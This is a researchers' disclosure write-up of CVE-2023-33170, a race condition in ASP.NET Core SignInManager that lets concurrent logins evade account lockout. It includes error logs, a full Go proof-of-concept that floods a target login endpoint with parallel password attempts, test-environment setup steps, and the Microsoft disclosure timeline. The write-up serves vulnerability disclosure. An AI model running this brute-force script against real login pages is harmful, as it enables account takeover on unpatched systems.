CVE-2023-33170 Attributions

So What Happened?
Early indications of the system highlighted the culprit to be the ASP.NET SignInManager as when this function is called it ‘Attempts to sign in the specified userName and password combination as an asynchronous operation’. With asynchronous operations, when multiple threads can access or change a shared resource a race condition can occur. When looking at the database logs it was observed that this was happening. A snippet of the database log is included below, with an error indicating that a ‘Microsoft.EntityFrameworkCore.DbUpdateConcurrencyException’ was present and that the ‘database operation failed as the data may have been modified or deleted’
fail: Microsoft.EntityFrameworkCore.Update[10000]
An exception occurred in the database while saving changes for context type 'WebApp.Data.ApplicationDbContext'.
Microsoft.EntityFrameworkCore.DbUpdateConcurrencyException: The database operation was expected to affect 1 row(s), but actually affected 0 row(s); data may have been modified or deleted since entities were loaded. See http://go.microsoft.com/fwlink/?LinkId=527962 for information on understanding and handling optimistic concurrency exceptions.
at Microsoft.EntityFrameworkCore.Update.AffectedCountModificationCommandBatch.ThrowAggregateUpdateConcurrencyExceptionAsync(RelationalDataReader reader, Int32 commandIndex, Int32 expectedRowsAffected, Int32 rowsAffected, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Update.AffectedCountModificationCommandBatch.ConsumeResultSetWithRowsAffectedOnlyAsync(Int32 commandIndex, RelationalDataReader reader, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Update.AffectedCountModificationCommandBatch.ConsumeAsync(RelationalDataReader reader, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Update.ReaderModificationCommandBatch.ExecuteAsync(IRelationalConnection connection, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Update.ReaderModificationCommandBatch.ExecuteAsync(IRelationalConnection connection, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.SqlServer.Update.Internal.SqlServerModificationCommandBatch.ExecuteAsync(IRelationalConnection connection, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Update.Internal.BatchExecutor.ExecuteAsync(IEnumerable`1 commandBatches, IRelationalConnection connection, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Update.Internal.BatchExecutor.ExecuteAsync(IEnumerable`1 commandBatches, IRelationalConnection connection, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Update.Internal.BatchExecutor.ExecuteAsync(IEnumerable`1 commandBatches, IRelationalConnection connection, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.ChangeTracking.Internal.StateManager.SaveChangesAsync(IList`1 entriesToSave, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.ChangeTracking.Internal.StateManager.SaveChangesAsync(StateManager stateManager, Boolean acceptAllChangesOnSuccess, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.SqlServer.Storage.Internal.SqlServerExecutionStrategy.ExecuteAsync[TState,TResult](TState state, Func`4 operation, Func`4 verifySucceeded, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.DbContext.SaveChangesAsync(Boolean acceptAllChangesOnSuccess, CancellationToken cancellationToken)
Microsoft.EntityFrameworkCore.DbUpdateConcurrencyException: The database operation was expected to affect 1 row(s), but actually affected 0 row(s); data may have been modified or deleted since entities were loaded. See http://go.microsoft.com/fwlink/?LinkId=527962 for information on understanding and handling optimistic concurrency exceptions.
at Microsoft.EntityFrameworkCore.Update.AffectedCountModificationCommandBatch.ThrowAggregateUpdateConcurrencyExceptionAsync(RelationalDataReader reader, Int32 commandIndex, Int32 expectedRowsAffected, Int32 rowsAffected, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Update.AffectedCountModificationCommandBatch.ConsumeResultSetWithRowsAffectedOnlyAsync(Int32 commandIndex, RelationalDataReader reader, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Update.AffectedCountModificationCommandBatch.ConsumeAsync(RelationalDataReader reader, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Update.ReaderModificationCommandBatch.ExecuteAsync(IRelationalConnection connection, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Update.ReaderModificationCommandBatch.ExecuteAsync(IRelationalConnection connection, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.SqlServer.Update.Internal.SqlServerModificationCommandBatch.ExecuteAsync(IRelationalConnection connection, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Update.Internal.BatchExecutor.ExecuteAsync(IEnumerable`1 commandBatches, IRelationalConnection connection, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Update.Internal.BatchExecutor.ExecuteAsync(IEnumerable`1 commandBatches, IRelationalConnection connection, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Update.Internal.BatchExecutor.ExecuteAsync(IEnumerable`1 commandBatches, IRelationalConnection connection, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.ChangeTracking.Internal.StateManager.SaveChangesAsync(IList`1 entriesToSave, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.ChangeTracking.Internal.StateManager.SaveChangesAsync(StateManager stateManager, Boolean acceptAllChangesOnSuccess, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.SqlServer.Storage.Internal.SqlServerExecutionStrategy.ExecuteAsync[TState,TResult](TState state, Func`4 operation, Func`4 verifySucceeded, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.DbContext.SaveChangesAsync(Boolean acceptAllChangesOnSuccess, CancellationToken cancellationToken)
These errors highlighted multiple concurrent requests are attempting to update the database, with many of these requests failing to update appropriately. This is due to the next concurrent request already modifying the database. As a result, many login attempts are performed, but the database is not modified consistently, indicating a race condition may be present allowing a user to perform a brute-force attack. Jack Moran decided to write a proof of concept to test this out locally which resulted in thousands of failed authentication requests being conducted before triggering the lockout threshould.
So You Want The PoC?
package
main
import
(
"bytes"
"encoding/base64"
"flag"
"fmt"
"math/rand"
"net/http"
"net/url"
"strings"
"sync"
)type
RequestResult
struct
{
UUID int
ResponseStatus int
ResponseLocation string
}func
Request(HttpClient
*
http
.
Client, UniversalResourceLocator
string
, HttpPayload []
byte
, CookieName
string
, CookieValue
string
, Data
chan
RequestResult, Trigger
chan
bool
, UUID
int
, WaitGroup
*
sync
.
WaitGroup) {
// Mark WaitGroup as Done When Function Exits
defer
WaitGroup
.
Done()
<-
Trigger
// Create HTTPRequest and RequestError, Return if RequestError
HttpRequest, RequestError :=
http
.
NewRequest(http
.
MethodPost, UniversalResourceLocator, bytes
.
NewBuffer(HttpPayload))
if
RequestError
!=
nil {
fmt.
Println("Error creating request:", RequestError)
return
}
// Create Cookie
Cookie :=
&
http
.
Cookie{
Name:
CookieName,
Value:
CookieValue,
}
// Add HTTPHeader and HTTPCookie
HttpRequest.
Header
.
Set("Content-Type", "application/x-www-form-urlencoded")
HttpRequest.
AddCookie(Cookie)
// Create HTTPResponse and ResponseError, Do HttpRequest, Return if RequestError
HttpResponse, ResponseError :=
HttpClient
.
Do(HttpRequest)
if
ResponseError
!=
nil {
fmt.
Println("Error making request:", ResponseError)
return
}
defer
HttpResponse
.
Body
.
Close()
// Store HTTPResponse In Struct
Result :=
RequestResult{
UUID:
UUID,
ResponseStatus:
HttpResponse
.
StatusCode,
ResponseLocation:
HttpResponse
.
Header
.
Get("Location"),
}
// Send Struct to Data Channel
Data <-
Result
}func
generateSomeBytes()
string
{
// Psudo random number generator
RandomBytes :=
make([]
byte
, 8)
rand.
Read(RandomBytes)
return
base64
.
StdEncoding
.
EncodeToString(RandomBytes)
}func
main() {
// Define Veriables
var
NumberRequests
int
var
UserName
string
var
URL
string
var
RequestVerificationToken
string
var
CookieName
string
var
CookieValue
string
var
LoginFailureCount
int
var
LoginLockoutCount
int
var
LoginSuccessCount
int
var
WaitGroup
=
sync
.
WaitGroup{}
// Define Execution Flags
flag.
IntVar(
&
NumberRequests, "requests", 1, "Number of Requests")
flag.
StringVar(
&
UserName, "username", "", "Target Username")
flag.
StringVar(
&
URL, "url", "", "Target URL")
flag.
StringVar(
&
RequestVerificationToken, "csrf", "", "Csrf-Token")
flag.
StringVar(
&
CookieName, "cookiename", "", "CookieName")
flag.
StringVar(
&
CookieValue, "cookievalue", "", "CookieName")
flag.
Parse()
// Create Bad and Good Credentials as Form Data Payload.
BadCredentials :=
url
.
Values{
"Input.Email":
{UserName},
"Input.Password":
{generateSomeBytes()},
"__RequestVerificationToken":
{RequestVerificationToken},
}
GoodCredentials :=
url
.
Values{
"Input.Email":
{UserName},
"Input.Password":
{"APassword"},
"__RequestVerificationToken":
{RequestVerificationToken},
}
// Create HTTPClient, Check Redirect Is Pressent Return
HTTPClient :=
&
http
.
Client{
CheckRedirect:
func
(HttpRequest
*
http
.
Request, via []
*
http
.
Request)
error
{
return
http
.
ErrUseLastResponse
},
}
// Create DataChannel, TriggerChannel for GoRoutines
var
DataChannel
=
make(
chan
RequestResult, NumberRequests)
var
TriggerChannel
=
make(
chan
bool
)
var
rand
=
rand
.
Intn(NumberRequests)
WaitGroup.
Add(NumberRequests)
for
i
:=
0; i
<
NumberRequests; i
++
{
if
i
==
rand {
go
Request(HTTPClient, URL, []
byte
(GoodCredentials
.
Encode()), CookieName, CookieValue, DataChannel, TriggerChannel, i,
&
WaitGroup)
} else
{
go
Request(HTTPClient, URL, []
byte
(BadCredentials
.
Encode()), CookieName, CookieValue, DataChannel, TriggerChannel, i,
&
WaitGroup)
}
}
close(TriggerChannel)
// Mark WaitGroup as Wait for all GoRoutines to Finish
WaitGroup.
Wait()
// Looping Through Results, Check if Login FAIL, LOCK, or PASS
for
i
:=
0; i
<
NumberRequests; i
++
{
Results :=
<-
DataChannel
if
strings
.
Contains(Results
.
ResponseLocation, "")
&&
Results
.
ResponseStatus
==
200 {
fmt.
Printf("[\033[31m!\033[0m] LOGIN FAIL - Request: %d \n", Results
.
UUID)
LoginFailureCount +=
1
} else
if
strings
.
Contains(Results
.
ResponseLocation, "/Identity/Account/Lockout")
&&
Results
.
ResponseStatus
==
302 {
fmt.
Printf("[\033[33m-\033[0m] LOGIN LOCK - Request: %d \n", Results
.
UUID)
LoginLockoutCount +=
1
} else
if
strings
.
Contains(Results
.
ResponseLocation, "/")
&&
Results
.
ResponseStatus
==
302 {
fmt.
Printf("[\033[32m✓\033[0m] LOGIN PASS - Request: %d \n", Results
.
UUID)
LoginSuccessCount +=
1
}
}
// PRINTING VALUES
fmt.
Println("")
fmt.
Println("[\033[31m!\033[0m] FAIL login Count:", LoginFailureCount)
fmt.
Println("[\033[33m-\033[0m] LOCK login Count:", LoginLockoutCount)
fmt.
Println("[\033[32m✓\033[0m] PASS login Count:", LoginSuccessCount)
}
Development of Testing Environment
While the proof of concept was in development, Ethan McKee-Harris deployed a testing environment based on Microsoft’s ‘Create a Web app with authentication’ documentation. A local server and web application was set up to verify that this is not isolated to the current engagement but could be widespread in the SignInManger itself. After installing the latest version of dotnet (at the time we were testing), we generated a new web application using Microsoft’s scaffolding:
dotnet new webapp --auth Individual -o WebApp
After creating the scaffolded web application, developers can also install templated account management with the following commands:
cd WebApp
dotnet tool install -g dotnet-aspnet-codegenerator
dotnet add package Microsoft.VisualStudio.Web.CodeGeneration.Design
dotnet aspnet-codegenerator identity -dc WebApp.Data.ApplicationDbContext --files "Account.Register;Account.Login;Account.Logout;Account.RegisterConfirmation" --databaseProvider=
sqlite
Navigate to and open the file Areas/Identity/Pages/Account/Login.cshtml.cs
. Change the PasswordSignInAsync
method call so that lockoutOnFailure
is set to true
. We also need to enable account lockout, so navigate to Program.cs
in the base web application directory. After the builder
is defined, paste the following configuration options. This sets up the requirements to support account lockout on our test web application.
builder.Services.Configure<IdentityOptions>(options =>
{
// Password settings.
// Turn off requirements for testing purposes
options.Password.RequireDigit = false;
options.Password.RequireLowercase = false;
options.Password.RequireNonAlphanumeric = false;
options.Password.RequireUppercase = false;
options.Password.RequiredLength = 6;
options.Password.RequiredUniqueChars = 1;
// Lockout settings.
options.Lockout.DefaultLockoutTimeSpan = TimeSpan.FromMinutes(5);
options.Lockout.MaxFailedAccessAttempts = 5;
options.Lockout.AllowedForNewUsers = true;
// User settings.
options.User.AllowedUserNameCharacters =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._@+";
options.User.RequireUniqueEmail = false;
});
builder.Services.ConfigureApplicationCookie(options =>
{
// Cookie settings
options.Cookie.HttpOnly = true;
options.ExpireTimeSpan = TimeSpan.FromMinutes(5);
options.LoginPath = "/Identity/Account/Login";
options.AccessDeniedPath = "/Identity/Account/AccessDenied";
options.SlidingExpiration = true;
});
Further to this, if you wish to conduct testing from non-local IP addresses, add the following config to appsettings.json in order to expose the web application to all IP addresses.
"Kestrel": {
"EndPoints": {
"Http": {
"Url": "http://0.0.0.0:5010"
}
}
}
Then to run the application, simply use dotnet run
on the command line.
Throughout the disclosure process, Microsoft have been exceedingly helpful. Working within the bounds of the Microsoft Security Researcher Center (MSRC) disclosure policy, they were quick to confirm the issue and work with ZX Security to navigate the vulnerability through the various stages, resulting in a patch that resolves the issues.
Vulnerability Disclosure Timeline (NZST):
- 03/03/2023 - Discovered a race condition in ASP.NET Core SignInManager
- 07/03/2023 - Submission of vulnerability to Microsoft Security Research Center for review
- 08/03/2023 - MSRC: Case Number Assigned, Stage - New
- 08/03/2023 - MSRC: Vulnerability Being Reviewed, Stage - Review/Reproduce
- 07/04/2023 - MSRC: Vulnerability Confirmed, Stage - Develop
- 18/05/2023 - MSRC: Vulnerability Disclosure Extension Request
- 26/05/2023 - MSRC: Vulnerability Severity Rating Important (High), Stage - Develop
- 12/07/2023 - MSRC: Vulnerability Fixed, Stage - PreRelease
- 12/07/2023 - MSRC: Vulnerability Fixed, Stage - Complete
References
- Microsoft Security Research Center
- Microsoft Dev Blogs
- Microsoft DotNet Github
- Microsoft Learn ASP.NET Core 7
- Microsoft Learn SignInManager
- GitHub - Merged PR 31212: internal/release/6.0 Always return SignInResult.Failed if updating AccessFailedCount fails
- Microsoft Learn Documentation